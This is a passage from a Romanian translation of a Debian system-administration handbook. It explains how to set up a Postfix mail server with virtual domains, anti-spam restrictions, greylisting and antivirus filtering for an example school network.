care primește intrările de e-mail și ieșirile de e-mail direct destinatarilor săi și prin urmare, este bine adaptată
cazului Școlii Generale. Acesta din urmă este potrivit pentru un server care primește o intrare de e-mail în mod
normal, dar care trimite o ieșire de e-mail printr-un SMTP server intermediar — “smarthost” —, mai degrabă
decât direct către server-ul destinatarului. Acest lucru este util mai ales pentru persoanele cu o adresă IP
dinamică, deoarece multe e-mail server-e resping mesajele care provin direct de la o astfel de adresă IP. În
acest caz, smarthost va fi de obicei SMTP server al ISP, care este întotdeauna configurat pentru a accepta e-
mail-urile venite de la ISP clients și să-l înainteze în mod corespunzător. Această configurare (cu un
smarthost) este relevantă și pentru server-ele care nu sunt conectate permanent la internet, deoarece evită să
fie nevoite să gestioneze o coadă de mesaje care nu pot fi reîncărcate ulterior.

VOCABULAR ISP este acronimul pentru “Internet Service Provider“ (Furnizor de Servicii Internet). Cuprinde o entitate,
ISP adesea o companie comercială, care furnizează conexiuni la Internet și serviciile de bază asociate (e-mail, știri și
așa mai departe).

A doua întrebare tratează numele complet al mașinii utilizate pentru a genera adrese de e-mail de la un
nume de utilizator local; numele complet al mașinii se termină ca partea de după semnul ”a rond” ("@"). În
cazul Școlii Generale, răspunsul ar trebui să fie mail.scoalagenerala.com. Aceasta este singura
întrebare pusă implicit, dar configurația pe care o determină nu este suficient de completă pentru nevoile
Școlii Generale, motiv pentru care administratorul execută dpkg-reconfigure postfix pentru a putea
personaliza mai mulți parametri.
Una dintre întrebările suplimentare solicită toate numele de domeniu legate de această mașină. Lista
implicită include numele său complet, precum și câteva sinonime pentru localhost, dar principalul
domeniu scoalagenerala.com trebuie adăugat manual. În general, la această întrebare ar trebui să se
răspundă de obicei cu toate numele de domeniu pentru care această mașină ar trebui să servească drept

215
MX server; cu alte cuvinte, toate numele de domeniu pentru care DNS spune că acest aparat va accepta e-
mail. Aceste informații se încheie în variabila mydestination a fișierului principal de configurare Postfix —
/etc/postfix/main.cf.

Figura 11.1 Rolul înregistrării DNS MX în timpul trimiterii unui mail

EXTRA Când DNS nu are o înregistrare MX pentru un domeniu, e-mail server va încerca să trimită mesajele către gazda
Interogarea înregistrărilor MX în sine, folosind o înregistrare potrivită (sau AAAA în IPv6).

În unele cazuri, instalarea poate, de asemenea, să întrebe căror rețele ar trebui să li se permită să trimită un
e-mail prin intermediul mașinii. În configurația sa implicită, Postfix acceptă doar e-mail-uri care provin de la
mașina în sine; rețeaua locală va fi de obicei adăugată. Administratorul Școlii Generale a adăugat
192.168.0.0/16 la răspunsul implicit. Dacă nu se pune întrebarea, variabila relevantă din fișierul de
configurare este mynetworks, așa cum se vede în exemplul de mai jos.
E-mail-ul local poate fi livrat și prin procmail. Acest instrument le permite utilizatorilor să își sorteze e-mail-
urile primite în conformitate cu regulile stocate în fișierul lor ~/.procmailrc.
După acest prim pas, administratorul a primit următorul fișier de configurare; acesta va fi folosit ca punct de
plecare pentru adăugarea unor funcționalități suplimentare în secțiunile următoare.

Exemplul 11.1 Fișierul inițial /etc/postfix/main.cf

# Debian specific: Specifying a file name will cause the first

# line of that file to be used as the name. The Debian default
# is /etc/mailname.
#myorigin = /etc/mailname

smtpd_banner = $myhostname ESMTP $mail_name (Debian/GNU)

biff = no

# appending .domain is the MUA's job.

append_dot_mydomain = no

# Uncomment the next line to generate "delayed mail" warnings

216
#delay_warning_time = 4h

readme_directory = no

# See http://www.postfix.org/COMPATIBILITY_README.html -- default to 2 on

# fresh installs.
compatibility_level = 2

# TLS parameters
smtpd_tls_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pem
smtpd_tls_key_file=/etc/ssl/private/ssl-cert-snakeoil.key
smtpd_use_tls=yes
smtpd_tls_session_cache_database = btree:${data_directory}/smtpd_scache
smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache

# See /usr/share/doc/postfix/TLS_README.gz in the postfix-doc package for

# information on enabling SSL in the smtp client.

smtpd_relay_restrictions = permit_mynetworks permit_sasl_authenticated

⮩ defer_unauth_destination
myhostname = mail.scoalagenerala.com
alias_maps = hash:/etc/aliases
alias_database = hash:/etc/aliases
myorigin = /etc/mailname
mydestination = mail.scoalagenerala.com, scoalagenerala.com, localhost.localdomain, localhost
relayhost =
mynetworks = 127.0.0.0/8 [::ffff:127.0.0.0]/104 [::1]/128 192.168.0.0/16
mailbox_size_limit = 0
recipient_delimiter = +
inet_interfaces = all
inet_protocols = all

SECURITATE Certificatele snake oil, în traducere ulei de șarpe, ca “medicamentul“ vândut de vracii fără scrupule din vechime,
Snake oil SSL Ccertificates nu au absolut nicio valoare: nu vă puteți baza pe ele pentru a autentifica server-ul, deoarece sunt auto-generate.
Cu toate acestea, sunt utile pentru a îmbunătăți confidențialitatea schimburilor.
În general, acestea trebuie utilizate numai în scopuri de testare, iar serviciul normal trebuie să utilizeze
certificate reale. “Inițiativa Let's encrypt“ (în bara laterală pagina 217) oferă certificate SSL/TLS libere și de
încredere, care pot fi generate folosind pachetul certbot, așa cum este descris în secțiunea 11.2.2. “Adăugarea
suportului pentru SSL” pagina 230 și apoi utilizat în postfix astfel:
smtpd_tls_cert_file = /etc/letsencrypt/live/DOMAIN/
⮩ fullchain.pem
smtpd_tls_key_file = /etc/letsencrypt/live/DOMAIN/privkey.
⮩ pem
smtpd_tls_CAfile = /etc/ssl/certs/ca-certificates.crt
smtpd_tls_CApath = /etc/ssl/certs
smtp_tls_CApath = /etc/ssl/certs
Un alt mod de a genera certificate proprii este descris în secțiunea 10.2.2. “Infrastructura cheii publice: easy-
rsa” pagina 194.

11.1.2. Configurarea domeniilor virtuale

Mail server poate primi e-mail-uri adresate altor domenii în afară de domeniul principal; acestea sunt
cunoscute ca domenii virtuale. În majoritatea cazurilor în care se întâmplă acest lucru, e-mailurile nu sunt
destinate, în cele din urmă, utilizatorilor locali. Postfix oferă două caracteristici interesante pentru gestionarea
domeniilor virtuale.

PRUDENȚĂ Niciunul din domeniile virtuale nu trebuie să facă referire în variabila mydestination; această variabilă
Domenii virtuale și domenii conține doar numele domeniilor “canonice” asociate direct cu mașina și utilizatorii locali ai acesteia.
canonice

11.1.2.1. Domenii virtuale alias

Un domeniu alias virtual conține doar aliasuri, adică adrese care transmit doar e-mailuri către alte adrese.
Un astfel de domeniu este activat prin adăugarea numelui său la variabila virtual_alias_domains și
referirea la un fișier de mapare a adreselor în variabila virtual_alias_maps.

Exemplul 11.2 Directive de adăugat în fișierului /etc/postfix/main.cf

217
virtual_alias_domains = scoalageneralasbrand.com
virtual_alias_maps = hash:/etc/postfix/virtual

Fișierul /etc/postfix/virtual descrie o mapare cu o sintaxă destul de simplă: fiecare linie conține
două câmpuri separate de spațiul alb; primul câmp este numele alias, al doilea câmp este o listă de adrese
de e-mail unde se redirecționează. Sintaxa specială @domain.com syntax acoperă toate aliasurile
rămase dintr-un domeniu.

Exemplul 11.3 Fișier /etc/postfix/virtual

webmaster@scoalageneralasbrand.com ion@scoalagenerala.com
contact@scoalageneralasbrand.com laura@scoalagenerala.com, sofia@scoalagenerala.com
# The alias below is generic and covers all addresses within
# the scoalageneralasbrand.com domain not otherwise covered by this file.
# These addresses forward email to the same user name in the
# scoalagenerala.com domain.
@scoalageneralasbrand.com @scoalagenerala.com

După schimbarea /etc/postfix/virtual, tabelul postfix /etc/postfix/virtual.db trebuie

actualizat folosind sudo postmap /etc/postfix/virtual

11.1.2.2. Domenii de căsuțe poștale virtuale

PRUDENȚĂ Postfix nu permite utilizarea aceluiași domeniu atât în virtual_alias_domains cât și în
Domeniu virtual combinat? virtual_mailbox_domains. Cu toate acestea, fiecare domeniu al virtual_mailbox_domains este
implicit inclus în virtual_alias_domains ceea ce face posibilă amestecarea aliasurilor și a cutiilor
poștale într-un domeniu virtual.

Mesajele adresate unui domeniu al căsuței poștale virtuale sunt stocate în căsuțe poștale care nu sunt
alocate unui utilizator de sistem local.
Activarea unui domeniu de căsuță poștală virtuală comportă denumirea acestui domeniu în variabila
virtual_mailbox_domains și trimiterea unui fișier de mapare a căsuței poștale în
virtual_mailbox_maps. Parametrul virtual_mailbox_base conține directorul în care vor fi stocate
căsuțele poștale.

virtual_mailbox_domains = scoalagenerala.org
virtual_mailbox_maps = hash:/etc/postfix/vmailbox
virtual_mailbox_base = /var/mail/vhosts

Parametrul virtual_uid_maps (respectiv virtual_gid_maps) face referire la fișierul care conține

maparea între adresa de e-mail și utilizatorul sistemului (respectiv grupul) care “deține” căsuța poștală
corespunzătoare. Pentru a obține toate căsuțele poștale deținute de același proprietar/grup, sintaxa
static:5000 atribuie un UID/GID fixat (cu valoarea 5000 aici).
Din nou, sintaxa fișierului /etc/postfix/vmailbox este destul de simplă: două câmpuri separate cu
spațiul alb. Primul câmp este o adresă de e-mail într-unul din domeniile virtuale, iar al doilea câmp este
locația căsuței poștale asociate (în raport cu directorul specificat în virtual_mailbox_base). Dacă numele
căsuței poștale se încheie cu un slash (/), e-mail-urile vor fi stocate în formatul maildir; în caz contrar, va fi
utilizat formatul tradițional mbox. Formatul maildir folosește un director întreg pentru a stoca o cutie poștală,
fiecare mesaj individual fiind memorat într-un fișier separat. În format mbox, pe de altă parte, întreaga căsuță
poștală este stocată într-un singur fișier și fiecare linie care începe cu “From ” (From urmată de un spațiu)
semnalează începutul unui nou mesaj.

# Ion’s email is stored as maildir, with

# one file per email in a dedicated directory
ion@scoalagenerala.org scoalagenerala.org/ion/
# Sofia’s email is stored in a traditional ”mbox” file,
# with all mails concatenated into one single file
sofia@scoalagenerala.org scoalagenerala.org/sofia

218
11.1.3. Restricții pentru primire și expediere
Numărul din ce în ce mai mare de e-mail-uri nesolicitate (spam) necesită să fie din ce în ce mai strict atunci
când se decide ce e-mailuri ar trebui să accepte un server. Această secțiune prezintă câteva dintre strategiile
incluse în Postfix.
Dacă regulile de respingere sunt prea stricte, se poate întâmpla ca și traficul legitim de e-mail să fie blocat.
Prin urmare, este un obicei bun să testați restricțiile și să preveniți respingerea permanentă a cererilor în
acest timp folosind directiva soft_bounce = yes. Înaintând o directivă de tip respingere cu
warn_if_reject, va fi înregistrat doar un mesaj jurnal în loc să respingă cererea.

CULTURĂ “Spam” este un termen generic folosit pentru a desemna toate e-mailurile comerciale nesolicitate
Problema spam-ului (cunoscute și sub denumirea de UCE) care inundă căsuțele noastre poștale electronice; indivizii lipsiți
de scrupule care le trimit sunt cunoscuți sub numele de spameri. Puțin le pasă de problemele pe care
le provoacă, întrucât trimiterea unui e-mail costă foarte puțin și doar un procent foarte mic de
destinatari trebuie să fie atras de oferte pentru ca operațiunea de spaming să genereze nişte câștiguri
mai mari decât prin metodele normale. Procesul este automatizat în cea mai mare parte și orice
adresă de e-mail este făcută publică (de exemplu, pe un forum web, sau în arhivele unei liste de
corespondență, sau pe un blog și așa mai departe) va fi descoperită de roboții spamerilor și supusă la
un flux de mesaje nesolicitate.
Toți administratorii de sistem încearcă să facă față acestei probleme cu filtrele de spam, dar
bineînțeles că spamerii continuă să se adapteze pentru a încerca să rezolve depășirea acestor filtre.
Unii chiar închiriază rețele de mașini compromise de un vierme de la diverse organizații criminale.
Statisticile recente estimează că până la 95% din toate e-mailurile care circulă pe Internet sunt spam!

11.1.3.1. Restricțiile accesului bazat pe IP

Directiva smtpd_client_restrictions controlează ce mașini au voie să comunice cu e-mail server.
Când o variabilă conține o listă de reguli, ca în exemplul de mai sus, aceste reguli sunt evaluate în ordine,
de la prima până la ultima. Fiecare regulă poate accepta mesajul, respinge sau lăsa decizia la următoarea
regulă. În consecință, ordinea contează și simpla schimbare a două reguli poate duce la un comportament
general diferit.
Exemplul 11.2 Restricțiile Bazate pe Adresa clientului

smtpd_client_restrictions =
permit_mynetworks,
warn_if_reject reject_unknown_client_hostname,
check_client_access hash:/etc/postfix/access_clientip,
reject_rhsbl_reverse_client dbl.spamhaus.org,
reject_rhsbl_reverse_client rhsbl.sorbs.net,
reject_rbl_client zen.spamhaus.org,
reject_rbl_client dnsbl.sorbs.net

Directiva permit_mynetworks folosită ca primă regulă acceptă toate e-mail-urile provenite de la o mașină
din rețeaua locală (așa cum este definită de variabila de configurare mynetworks).
A doua directivă în mod normal ar respinge e-mail-urile provenite de la mașini fără o configurație DNS
complet validă. O astfel de configurație valabilă înseamnă că adresa IP poate fi rezolvată la un nume și că, la
rândul său, acest nume se rezolvă la adresa IP. Această restricție este adesea prea severă, deoarece multe
e-mail server-e nu au un reverse DNS pentru adresa lor IP. Așa se explică de ce administratorul Școlii Generale
a prefixat modificatorul warn_if_reject la directiva reject_unknown_client: acest modificator
transformă respingerea într-un simplu avertisment înregistrat în jurnalele. Administratorul poate urmări apoi
numărul de mesaje care ar fi respinse în cazul în care regula ar fi fost aplicată efectiv și mai târziu să ia o
decizie în cunoștință de cauză dacă dorește să permită activarea acestei constrângeri.

SFAT Criteriile de restricție includ tabele modificabile de administrator, care conțin combinații de expeditori, adrese IP
access tables și nume de gazde permise sau interzise. Aceste tabele pot fi create dintr-o copie necomprimată a fișierului
/usr/share/doc/postfix-doc/examples/access.gz. Acest model este auto-documentat în
comentariile sale, ceea ce înseamnă că fiecare tabel își descrie propria sintaxă.
Tabelul /etc/postfix/access_clientip listează adrese IP și rețele;
/etc/postfix/access_helo listează nume de domenii; /etc/postfix/access_sender conține
adrese de e-mail ale expeditorului. Toate aceste fișiere trebuie transformate în tabele-hash (un format optimizat
pentru acces rapid) după fiecare modificare, cu comanda postmap /etc/postfix/file.

219
A treia directivă permite administratorului să stabilească o listă neagră și o listă albă de e-mail server, stocate
în fișierul /etc/postfix/access_clientip. Server-ele din lista albă sunt considerate de încredere, iar e-
mail-urile care vin de acolo nu respectă următoarele reguli de filtrare.
Ultimele patru reguli resping orice mesaj provenit de la un server listat într-una dintre listele negre. RBL este
acronimul pentru Remote Black List, și RHSBL este pentru Right-Hand Side Black List. Există mai multe astfel
de servicii. Acestea enumeră domenii și IP addresses, cu o proastă reputație și rău configurate, pe care spam-
erii le folosesc pentru a transmite email-urile lor, precum și mail relay neașteptate, cum ar fi mașinile infectate
cu viermi sau virusuri.

SFAT Listele negre includ uneori un server legitim care a suferit un incident. În aceste situații, toate e-mailurile
Lista albă și (RBL) provenite de la unul dintre aceste server-e ar fi respinse, cu excepția cazului în care server-ul este listat într-o
listă albă definită de /etc/postfix/access_clientip.
Prin urmare, din prudență se recomandă includerea în lista albă a tuturor server-elor de încredere de la care se
primesc de obicei multe e-mailuri.

11.1.3.2. Verificarea validității comenzilor EHLO sau HELO

Fiecare schimb SMTP începe cu o comandă HELO (sau EHLO) urmată de numele e-mail server-ului de
expeditor; verificarea validității acestui nume poate fi interesantă.

Exemplul 11.3 Restricții pe numele anunțat în EHLO

smtpd_helo_required = yes
smtpd_helo_restrictions =
permit_mynetworks,
reject_invalid_helo_hostname,
reject_non_fqdn_helo_hostname,
warn_if_reject reject_unknown_helo_hostname,
check_helo_access hash:/etc/postfix/access_helo,
reject_rhsbl_helo multi.surbl.org

Prima directivă permit_mynetworks permite tuturor mașinilor din rețeaua locală să se prezinte liber. Acest
lucru este important, deoarece unele programe de e-mail nu respectă suficient de bine această parte a SMTP
protocol și pot să se prezinte cu nume fără sens.
Regula reject_invalid_hostname respinge e-mail-urile când anunțul EHLO listează un nume de gazdă
incorect sintactic. Regula reject_non_fqdn_hostname respinge mesajele atunci când numele de gazdă
anunțat nu este un nume de domeniu complet calificat (inclusiv un nume de domeniu, precum și un nume de
gazdă). Regula reject_unknown_hostname respinge mesajele dacă numele anunțat nu există în DNS.
Din moment ce această ultimă regulă, din păcate, conduce la prea multe respingeri, administratorul și-a
transformat efectul într-un simplu avertisment cu modificatorul warn_if_reject ca prim pas; acesta poate
decide să elimine acest modificator într-o etapă ulterioară, după verificarea rezultatelor acestei reguli.
Utilizarea permit_mynetworks ca primă regulă are un efect secundar interesant: următoarele reguli se
aplică numai gazdelor din afara rețelei locale. Aceasta permite listarea neagră a tuturor gazdelor care se
anunță ca parte a scoalagenerala.com, de exemplu, prin adăugarea unei linii scoalagenerala.com
REJECT You are not in our network! la fișierul /etc/postfix/access_helo.

11.1.3.3. Acceptarea sau refuzarea pe baza expeditorului anunțat

Fiecare mesaj are un expeditor, anunțat prin comanda MAIL FROM a SMTP protocol; din nou, aceste
informații pot fi validate în mai multe moduri diferite.

Exemplul 11.4 Verificările expeditorului

smtpd_sender_restrictions =
check_sender_access hash:/etc/postfix/access_sender,
reject_unknown_sender_domain,
reject_unlisted_sender,
reject_non_fqdn_sender,
reject_rhsbl_sender rhsbl.sorbs.net

220
Tabelul /etc/postfix/access_sender reprezintă un tratament special pentru unii expeditori. Aceasta
înseamnă, de obicei, listarea unor expeditori într-o listă albă sau o listă neagră.
Regula reject_unknown_sender_domain necesită un domeniu expeditor valid deoarece este necesară
pentru o adresă validă. Regula reject_unlisted_sender respinge expeditorii locali dacă adresa nu
există; acest lucru împiedică trimiterea e-mai-lurilor de la o adresă nevalidă din domeniul
scoalagenerala.com, iar mesajele care provin din ion.bloggs@scoalagenerala.com sunt acceptate
numai dacă există o astfel de adresă.
În cele din urmă, regula reject_non_fqdn_sender respinge e-mailurile care pretind să provină de la
adrese fără un nume de domeniu complet calificat. În practică, acest lucru înseamnă respingerea e-mail-
urilor provenite de la user@machine: adresa trebuie anunțată ca user@machine.example.com sau
user@example.com.
Regula reject_rhsbl_sender respinge expeditorii pe baza unui serviciu RHSBL (bazat pe domeniu).

11.1.3.4. Acceptarea sau refuzarea bazată pe destinatar

Fiecare e-mail are cel puțin un destinatar, anunțat cu comanda RCPT TO din SMTP protocol.
Aceste adrese garantează, de asemenea, validarea, chiar dacă acestea pot fi mai puțin relevante decât
verificările efectuate pe adresa expeditorului.

Exemplul 11.5 Verificările destinatarilor

smtpd_recipient_restrictions =
permit_mynetworks,
reject_unauth_destination,
reject_unlisted_recipient,
reject_non_fqdn_recipient,
permit

Regula de bază, reject_unauth_destination, este cea care cere ca mesajele exterioare să ne fie
adresate; mesajele trimise la o adresă care nu este difuzată de acest server sunt respinse. Fără această
regulă, un server devine un releu deschis care permite spam-urilor să trimită e-mail-uri nesolicitate; prin
urmare, această regulă este obligatorie și va fi inclusă, cel mai bine, pe la începutul listei, astfel încât nicio
altă regulă nu poate autoriza mesajul înainte de a fi verificată destinația.
Regula reject_unlisted_recipient respinge mesajele trimise utilizatorilor locali inexistenți, ceea ce
are sens. În cele din urmă, regula reject_non_fqdn_recipient respinge adresele necalificate; acest
lucru face imposibilă trimiterea unui e-mail lui ion sau ion@machine și necesită utilizarea în schimb a
adresei complete, cum ar fi ion@machine.scoalagenerala.com sau ion@scoalagenerala.com.

11.1.3.5. Restricții asociate cu comanda DATA

Comanda DATA (a SMTP) este emisă înainte de conținutul mesajului. Nu furnizează nicio informație în sine,
în afară de a anunța ce urmează. Încă poate fi supusă verificărilor.

Exemplul 11.6 Verificări DATA

smtpd_data_restrictions = reject_unauth_pipelining

Directivele reject_unauth_pipelining fac ca mesajul să fie respins dacă partea expeditoare trimite o
comandă înainte ca răspunsul la comanda anterioară să fie trimis. Acestea protejează împotriva unei
optimizări obișnuite folosite de roboții spammer, deoarece de obicei nu le pasă de forma pe care o îmbracă
răspunsurile și se concentrează doar pe trimiterea a cât mai multe e-mail-uri în cel mai scurt timp posibil.

11.1.3.6. Aplicarea restricțiilor

Deși comenzile de mai sus validează informațiile în diferite etape ale schimbului SMTP, Postfix trimite doar
respingerea efectivă ca răspuns la comanda RCPT TO.
Asta înseamnă că, și dacă mesajul este respins din cauza unei comenzi EHLO nevalide, Postfix cunoaște
expeditorul și destinatarul când anunță respingerea. Poate apoi să înregistreze un mesaj mai explicit decât

221
ar fi putut fi dacă tranzacția a fost întreruptă de la început. În plus, un număr de SMTP clients nu se așteaptă
la eșecuri la primele comenzi SMTP, iar acești clienți vor fi mai puțin deranjați de această respingere tardivă.
Un avantaj final al acestei alegeri este că regulile pot acumula informații pe parcursul diferitelor etape ale
schimbului SMTP; acest lucru permite definirea unor permisiuni cu reglaj fin, cum ar fi respingerea unei
conexiuni non-locale dacă se anunță cu un expeditor local.

11.1.3.7. Filtrarea pe baza conținutului mesajului

Sistemul de validare și restricție nu ar fi complet fără o modalitate de a aplica verificări în conținutul
mesajului. Postfix diferențiază verificările aplicate anteturilor de e-mail de cele care se aplică corpului de e-
mail.

Exemplul 11.7 Activarea filtrelor bazate pe conținut

header_checks = regexp:/etc/postfix/header_checks
body_checks = regexp:/etc/postfix/body_checks

Ambele fișiere conțin o listă de expresii obișnuite (cunoscute în mod obișnuit ca regexps sau
regexes) și acțiuni asociate care vor fi declanșate atunci când anteturile (sau corpul) de e-mail corespund
expresiei.

O PRIVIRE RAPIDĂ Fișierul /usr/share/doc/postfix-doc/examples/header_checks.gz conține multe comentarii

Tabelele Regexp explicative și poate fi folosit ca punct de plecare pentru crearea fișierelor
/etc/postfix/header_checks și /etc/postfix/body_checks.

Exemplul 11.8 Fișier /etc/postfix/header_checks

/^X-Mailer: GOTO Sarbacane/ REJECT I fight spam (GOTO Sarbacane)

/^Subject: *Your email contains VIRUSES/ DISCARD virus notification

NOȚIUNI DE BAZĂ Termenul regular expression (scurtat la regexp sau regex) face referire la o notare generică pentru exprimarea
Regular expression unei descrieri a conținutului și/sau a structurii unui șir de caractere. Anumite caractere speciale permit definirea
alternativelor (de exemplu, gogu|bar se potrivesc fie cu “gogu”, fie cu “bara”), seturi de caractere permise
(de exemplu, [0-9] înseamnă orice cifră, iar . — un punct — înseamnă orice caracter), cuantificările (s? se
potrivesc fie cu s fie cu șirul gol, în alte cuvinte 0 sau 1 apariția lui s; s+ se potrivește cu unul sau mai multe
caractere consecutive de s, și așa mai departe). Parantezele permit gruparea rezultatelor căutării. Parantezele
permit gruparea rezultatelor căutării.
Sintaxa precisă a acestor expresii variază de la instrumentele care le folosesc, dar caracteristicile de bază sunt
similare.
➨ http://en.wikipedia.org/wiki/Regular_expression

Primul verifică antetul care menționează software-ul de e-mail; dacă a găsit GOTO Sarbacane (un software
de e-mail în vrac), mesajul este respins. A doua expresie controlează subiectul mesajului; dacă menționează
o notificare de virus, putem decide să nu respingem mesajul, ci mai degrabă să-l aruncăm.
Utilizarea acestor filtre este o sabie cu două tăișuri, deoarece este ușor să faci regulile prea generice și să
pierzi e-mail-urile legitime în consecință. În aceste cazuri, nu numai mesajele vor fi pierdute, dar expeditorii
lor vor primi mesaje de eroare nedorite (și enervante).

11.1.4. Configurarea greylisting

“Greylisting” este o tehnică de filtrare (listare gri) conform căreia inițial, un mesaj este respins cu un cod de
eroare temporară și acceptat doar la o altă încercare după o anumită întârziere. Această filtrare este
deosebit de eficientă împotriva spam-ului trimis de numeroasele mașini infectate de viermi și virusuri,
deoarece acest software funcționează rar ca SMTP agent complet (verificând codul de eroare și reîncercând
mesajele eșuate mai târziu), mai ales că multe dintre adresele recoltate sunt cu adevărat invalide și
reîncercarea ar însemna doar pierdere de timp.
Postfix nu oferă listare gri în mod nativ, dar există o caracteristică prin care decizia de a accepta sau respinge
un mesaj dat poate fi delegată unui program extern. Pachetul postgrey conține doar un astfel de program,
conceput pentru a interfața cu acest serviciu de delegare a politicii de acces.

222
Odată instalat postgrey, acesta rulează ca un daemon și ascultă port 10023. Postfix poate fi apoi configurat
pentru a-l utiliza, adăugând parametrul check_policy_service ca o restricție suplimentară:

smtpd_recipient_restrictions =
permit_mynetworks,
[...]
check_policy_service inet:127.0.0.1:10023

De fiecare dată când Postfix ajunge în această regulă în setul de reguli, se va conecta la demonul postgrey
și îi va trimite informații referitoare la mesajul relevant. De partea sa, Postgrey ia în considerare triplet adresa
IP/expeditor/destinatar și verifică în baza sa de date dacă acea tripletă a fost văzută recent. Dacă da,
Postgrey răspunde că mesajul trebuie acceptat; dacă nu, răspunsul indică faptul că mesajul trebuie respins
temporar, iar tripleta este înregistrată în baza de date.
Principalul dezavantaj al acestei tehnici (greylisting — în care mesajele bune sunt respinse odată cu cele
rele) este că mesajele legitime sunt întârziate, ceea ce nu este întotdeauna acceptabil. De asemenea, crește
sarcina pe server-ele care trimit multe e-mail-uri legitime.

ÎN PRACTICĂ Teoretic, greylisting ar trebui să întârzie doar primul mail de la un expeditor către un anumit destinatar, iar
Neajunsurile greylisting întârzierea tipică este de ordinul minutelor. Realitatea însă poate diferi ușor. Unele ISP mari folosesc grupări
(clustere) de SMTP server, iar atunci când un mesaj este respins inițial, server-ul care reia transmisia poate să nu
fie același cu cel inițial. Când se întâmplă asta, cel de-al doilea server primește un mesaj de eroare temporară din
cauza greylisting-ului și așa mai departe; poate dura câteva ore până când se încearcă transmisia de către un
server care a fost deja implicat, deoarece SMTP server-ele cresc de obicei întârzierea dintre încercări la fiecare
eșec.
În consecință, adresa IP primită poate varia în timp, chiar și pentru un singur expeditor. Dar merge mai departe:
chiar și adresa expeditorului se poate schimba. De exemplu, multe server-e din lista de e-mail codifică informații
suplimentare pe adresa expeditorului pentru a putea gestiona mesajele de eroare (cunoscute sub numele de
(ricoșee) bounces). Fiecare mesaj nou trimis către o listă de corespondență poate apoi să fie nevoit să treacă prin
greylisting, ceea ce înseamnă că trebuie să fie stocat (temporar) pe server-ul expeditorului. Pentru listele de
distribuție foarte mari (cu zeci de mii de abonați), acest lucru poate deveni în curând o problemă.
Pentru a atenua aceste dezavantaje, Postgrey gestionează o listă de detalii a acestor site-uri, iar mesajele care
provin din acestea sunt acceptate imediat fără a trece prin greylisting. Această listă poate fi ușor adaptată la
nevoile locale, deoarece este stocată în fișierul /etc/postgrey/whitelist_clients.

ÎN DETALIU Dezavantajele greylisting-ului pot fi atenuate doar folosind listare gri pe subsetul de clienți care sunt deja
Greylisting selectiv cu milter- considerați ca surse probabile de spam (deoarece sunt listate într-o listă neagră DNS). Acest lucru nu este posibil
greylist cu postgrey, dar milter-greylist poate fi folosit într-un astfel de mod.
În acest scenariu, întrucât listele negre DNS nu declanșează niciodată o respingere definitivă, devine rezonabil
să folosiți liste negre agresive, inclusiv pe cele care enumeră toate adresele IP dinamice de la clienții ISP (cum ar
fi pbl.spamhaus.org sau dul.dnsbl.sorbs.net).
Întrucât milter-greylist utilizează milter — interfața de Sendmail, partea postfix a configurației sale este limitată
la “smtpd_milters = unix:/var/run/milter-greylist/milter-greylist.sock”.
Paginile de manual greylist.conf(5) documentează etc/milter-greylist/greylist.conf și
numeroase moduri pentru a configura milter-greylist. De asemenea, va trebui să editați
/etc/default/milter-greylist pentru a activa efectiv serviciul.

11.1.5. Personalizarea filtrelor bazate pe destinatar

Secțiunea 11.1.3. “Restricții pentru primire și expediere” pagina 219 și secțiunea 11.1.4. “Configurarea greylisting”
pagina 222 au analizat multe dintre restricțiile posibile. Toate își folosesc limitarea cantității de spam primite, dar
toate au dezavantajele lor. Prin urmare, este din ce în ce mai de dorit să personalizați setul de filtre în funcție
de destinatar. La Școala Generală, greylist-ul este interesant pentru majoritatea utilizatorilor, dar împiedică
activitatea unora dintre utilizatorii care au nevoie de latență scăzută în e-mail-urile lor (cum ar fi serviciul de
asistență tehnică). În mod similar, serviciul comercial are uneori probleme cu primirea e-mail-urilor de la unii
furnizori asiatici, care pot fi listate în liste negre; acest serviciu a solicitat o adresă non-filtrată pentru a putea
corespunde.
Postfix oferă o astfel de personalizare a filtrelor cu un concept de “clasă de restricție”. Clasele sunt declarate în
parametrul smtpd_restriction_classes și sunt definite la fel ca smtpd_recipient_restrictions.
Directiva check_recipient_access definește apoi un tabel care mapează un anumit destinatar la setul
corespunzător de restricții.
Postfix oferă o astfel de personalizare a filtrelor cu un concept de “clasă de restricție”. Clasele sunt declarate în
parametrul smtpd_restriction_classes și sunt definite la fel ca smtpd_recipient_restrictions.

223
Directiva check_recipient_access definește apoi un tabel care mapează un anumit destinatar la setul
corespunzător de restricții.

Exemplul 11.19 Definirea claselor de restricție în main.cf

smtpd_restriction_classes = greylisting, aggressive, permissive

greylisting = check_policy_service inet:127.0.0.1:10023

aggressive =
reject_rbl_client sbl-xbl.spamhaus.org,
check_policy_service inet:127.0.0.1:10023
permissive = permit

smtpd_recipient_restrictions =
permit_mynetworks,
reject_unauth_destination,
check_recipient_access hash:/etc/postfix/recipient_access

Exemplul 11.10 Fișierul /etc/postfix/recipient_access

# Unfiltered addresses
postmaster@scoalagenerala.com permissive
support@scoalagenerala.com permissive
sales-asia@scoalagenerala.com permissive

# Aggressive filtering for some privileged users

ion@scoalagenerala.com aggressive

# Special rule for the mailing-list manager

sympa@scoalagenerala.com reject_unverified_sender

# Greylisting by default
scoalagenerala.com greylisting

11.1.6. Integrarea unui antivirus

Numeroasele virusuri care circulă ca atașamente la e-mail-uri fac importantă configurarea unui antivirus în
punctul de intrare al rețelei companiei, deoarece în ciuda unei campanii de conștientizare, unii utilizatori vor
deschide în continuare atașamente din mesaje evident umbroase.

SECURITATE Utilizarea scanerelor pentru viruși, sau așa-numitul software antivirus, este controversată. Există, de obicei, un
Discuție controversată despre decalaj între lansarea unor componente malware și adăugarea regulilor de detectare la baza de date antivirus. În
software-ul antivirus timpul acestui decalaj nu există protecție bazată pe software. Mai mult, utilizarea de multe ori necesită rularea de
software suplimentar, de exemplu, pentru decomprimarea arhivelor și scanarea tuturor tipurilor de executabile,
ceea ce crește drastic potențialul de exploatare al software-ului antivirus în sine. Utilizarea unor astfel de soluții
software nu poate înlocui niciodată campaniile de conștientizare și regulile comportamentale simple (nu
deschide niciodată atașamente trimise, nesolicitate etc.).

Administratorul Școlii Generale a selectat clamav pentru antivirusul liber. Pachetul principal este clamav, dar
a instalat și câteva pachete suplimentare, cum ar fi arj, unzoo, unrar și lha, deoarece acestea sunt necesare
antivirusului pentru analiza fișierele atașate, arhivate într-unul dintre aceste formate.
Sarcina de a fi interfața între antivirus și e-mail server îi revine lui clamav-milter. milter (pe scurt pentru
